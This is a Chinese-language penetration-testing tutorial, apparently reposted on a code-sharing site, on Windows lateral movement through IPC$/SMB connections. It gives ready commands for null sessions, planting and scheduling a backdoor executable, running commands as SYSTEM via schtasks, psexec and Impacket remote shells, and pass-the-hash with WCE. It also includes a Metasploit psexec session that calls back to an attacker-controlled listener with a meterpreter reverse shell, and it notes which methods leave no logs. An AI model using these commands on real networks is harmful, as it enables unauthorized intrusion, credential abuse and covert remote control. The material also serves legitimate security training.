IPC遠程連接


0x00 IPC使用端口:

1 、SMB:(Server Message Block) Windows協議族,用於文件打印共享的服務;

2 、NBT:(NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基於TCP/IP協議的NETBIOS網絡互聯。

3 、在WindowsNT中SMB基於NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除了基於NBT實現,還可以直接通過445端口實現。

0x01 IPC連接常用命令:

當獲取到可用於遠程管理的賬戶時候,便可通過對ADMIN$目錄建立IPC連接的方式遠程連接到工作組或域內其他計算機,獲取目標機器的控制權限。(內網滲透時曾遇到3389遠程登錄策略被禁止,且無該機器shell,但通過信息收集獲取到賬號密碼的情況,選擇使用IPC連接)

net share   // 查看是否開啟IPC連接(windows默認開啟共享)

net use \\192.168.1.2 /u:domainname\administrator password //建立ipc連接

net share ipc$   //開啟ipc連接

net use \\192.168.1.2\ipc$ "" /user:""   //建立空連接

net use \\192.168.1.2 /de /y   //刪除ipc連接

net time \\192.168.1.2   //查看遠程主機當前時間

net view \\192.168.1.2   //查看共享目錄

net view \\192.168.1.2\c$\users //列出指定目錄文件

copy nbtscan.exe \\192.168.1.2\C$\windows\temp\   //復制文件

copy \\192.168.1.2\C$\windows\temp\hash.txt   //下載文件

tips:

默認情況下只有域管用戶有權限對admin$目錄建立IPC連接,其實本地的Administrator用戶也可以,但是默認情況下該用戶是被禁用的,如果啟用了該用戶,那么也可以使用Administrator用戶遠程連接

0x02 IPC計划任務執行命令:

at命令(已棄用):

copy srv.exe \\ip\admin$\system32  //將一次性后門srv.exe復制到對方的系統文件夾下,前提是admin$開啟 

at \\ip 時間 srv.exe   //用at命令遠程運行srv.exe,需要對方開啟了'Task Scheduler'服務

schtasks命令:

schtasks /create /tn task1 /U  域\域用戶  /P  域用戶密碼  /tr  命令 /sc ONSTART /s 域機器ip /RU system

示例(IPC已登錄情況下,省略賬號密碼):

計划安全腳本 Sec.vbs 每 20 分鍾運行一次。由於命令沒有包含起始日期或時間,任務在命令完成 20 分鍾后啟動,此后每當系統運行它就每 20 分鍾運行一次。請注意,安全腳本源文件位於遠程計算機上,但任務在本地計算機上計划並執行。

schtasks /create /tn "Security scrīpt" /sc minute /mo 20  /tr \\central\data\scrīpts\sec.vbs

 

schtasks  /run  /tn  task1 /s 192.168.10.2 /U 域/域用戶 /P 域用戶密碼

schtasks /F /delete /tn task1 /s 域機器ip /U 域\域用戶 /p 域用戶密碼

 

利用計划任務執行木馬程序獲得主機權限外,我們還可以利用schtasks計划任務直接執行系統命令,但由於不會回顯,所以我們要將執行的結果寫入到一個文本文件中,然后利用type命令遠程讀取:

schtasks /create /s 192.168.1.2 /tn test /sc minute /mo 20 /tr "C:\Windows\System32\cmd.exe /c 'whoami > C:\Users\Administrator\result.txt'" /ru system /f
使用type命令讀取文件內容:
type \\192.168.1.2\c$\Users\Administrator\result.txt

注意:在使用schtasks命令時,會在系統中留下日志文件C:\Windows\Tasks\SchedLgU.txt

0x03 PSEXEC 配合 IPC :

1、在已建立IPC連接的前提下,使用微軟官方工具pstools,反彈shell

net use \\ip /u:域名稱\域賬號 密碼

psexec.exe \\ip -s cmd.exe -acceptcula 反彈cmd

2、直接使用psexec登錄並反彈cmd,或執行命令

psexec  \\ip -u domain\Administrator -p password-s cmd.exe -acceptcula

psexec domain/user:password@ip whoami

0x04 Impacket配合IPC:

smbexec.py domain/user:password@ip

wmiexec.py domain/user:password@ip whoami

- psexec.py
- 與官方psexec.exe相比會自動刪除服務,增加隱蔽性*

psexec.py domain/user:password@ip

psexec.py domain/user:password@ip whoami

 

0x05 Metaspolit配合IPC:

常用模塊為:

exploit/windows/smb/psexec           // 用psexec執行系統命令,與psexec.exe相同
exploit/windows/smb/psexec_psh       // 使用powershell作為payload(PsExec的PowerShell版本)
auxiliary/admin/smb/psexec_command   // 在目標機器上執行系統命令
exploit/windows/smb/ms17_010_psexec

以下使用exploit/windows/smb/psexec模塊

tips:填入的hash為 LM hash:NTLM Hash

msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.12.191
LHOST => 10.10.12.191
msf6 exploit(windows/smb/psexec) > set LPORT 1234
LPORT => 1234
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.126.137
RHOSTS => 192.168.126.137
msf6 exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

  Name                 Current Setting Required Description
  ----                 --------------- -------- -----------
  RHOSTS               192.168.126.137 yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                 445             yes       The SMB service port (TCP)
  SERVICE_DESCRIPTION                   no       Service description to to be used on target for pretty listing
  SERVICE_DISPLAY_NAME                   no       The service display name
  SERVICE_NAME                           no       The service name
  SHARE                                 no       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain             .               no       The Windows domain to use for authentication
  SMBPass                               no       The password for the specified username
  SMBUser                               no       The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

  Name     Current Setting Required Description
  ----     --------------- -------- -----------
  EXITFUNC thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.12.191     yes       The listen address (an interface may be specified)
  LPORT     1234             yes       The listen port


Exploit target:

  Id Name
  -- ----
  0   Automatic


msf6 exploit(windows/smb/psexec) > set SMBUser administrator
SMBUser => administrator
msf6 exploit(windows/smb/psexec) > set SMBPASS f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
SMBPASS => f471ca8ea823361ef9393d97e7a1873c:4d01fbeeaf2b706478943e0889df5622
msf6 exploit(windows/smb/psexec) > set SMBDomain leaf.com
SMBDomain => leaf.com
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.10.12.191:1234
[*] 192.168.126.137:445 - Connecting to the server...
[*] 192.168.126.137:445 - Authenticating to 192.168.126.137:445|leaf.com as user 'administrator'...
[-] 192.168.126.137:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.

 

0x06 建立IPC連接失敗的原因:

1、 IPC連接是Windows NT及以上系統中特有的功能,由於其需要用到Windows NT中很多DLL函數,所以不能在Windows 9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ipc$連接的;

2 、如果想成功的建立一個ipc$連接,就需要響應方開啟ipc$共享,即使是空連接也是這樣,如果響應方關閉了ipc$共享,將不能建立連接;

3 、連接發起方未啟動Lanmanworkstation服務(顯示名為:Workstation):它提供網絡鏈結和通訊,沒有它發起方無法發起連接請求;

4、 響應方未啟動Lanmanserver服務(顯示名為:Server):它提供了 RPC 支持、文件、打印以及命名管道共享,ipc$依賴於此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起ipc$連接;

5 、響應方未啟動NetLogon,它支持網絡上計算機 pass-through 帳戶登錄身份(不過這種情況好像不多);

6 、響應方的139,445端口未處於監聽狀態或被防火牆屏蔽;7 連接發起方未打開139,445端口;

7、 用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似於'無法更新密碼'這樣的錯誤提示(顯然空會話排除這種錯誤);

8、 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,可以直接輸入兩個引號""即可;

9、 如果在已經建立好連接的情況下對方重啟計算機,那么ipc$連接將會自動斷開,需要重新建立連接。

另外,也可以根據返回的錯誤號分析原因:

錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權限的;

錯誤號51,Windows無法找到網絡路徑:網絡有問題;

錯誤號53,找不到網絡路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);

錯誤號67,找不到網絡名:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;

錯誤號1219,提供的憑據與已存在的憑據集沖突:你已經和對方建立了一個ipc$,請刪除再連;

錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;

錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動:目標NetLogon服務未啟動;

錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。

0x07 wmiexec:


wmi介紹
全稱是Windows management instrumentation,它出現在所有的Windows操作系統中,並由一組強大的工具集合組成,用於管理本地或遠程的Windows系統,攻擊者使用wmi來進行攻擊,但Windows系統默認不會再日志中記錄這些操作,可以做到無日志,攻擊腳本無需寫入到磁盤,增加了隱蔽性。推薦使用wmiexec進行遠程執行命令
wmiexec介紹
大牛使用VBS腳本調用WMI來模擬 psexec 的功能,於是乎WMIEXEC 就誕生了。基本上psexec 能用的地方,這個腳本也能夠使用。整個過程是先調用WMI通過賬號密碼或者NTLM認證(WCE注入)連接到遠程計算機,然后如果提供了賬號密碼,則用這個賬號密碼建立一個到目標的IPC連接。隨后WMI會建立一個共享文件夾,用於遠程讀取命令執行結果。 當用戶輸入命令時,WMI創建進程執行該命令,然后把結果輸出到文件,這個文件位於之前創建的共享文件夾中。最后,通過FSO組件訪問遠程共享文件夾中的結果文件,將結果輸出。當結果讀取完成時,調用WMI執行命令刪除結果文件。最后當WMIEXEC退出時,刪除文件共享。
常用命令
獲取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.0.1 username password
在遠程系統上執行單條命令
cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password “cmdkey /list”
在遠程系統上執行bat腳本
cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password c:\programdata\test.bat


上面是提供賬號密碼的情況,如果有時候我們抓取到的是hash,破解不了時可以利用WCE的hash注入,然后再執行wmiexec(不提供賬號密碼)就可以了,操作如下:
wce –s 賬號:主機名或域的名字:LM:NTLM
cscript //nologo wmiexec.vbs /shell 192.168.0.1

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM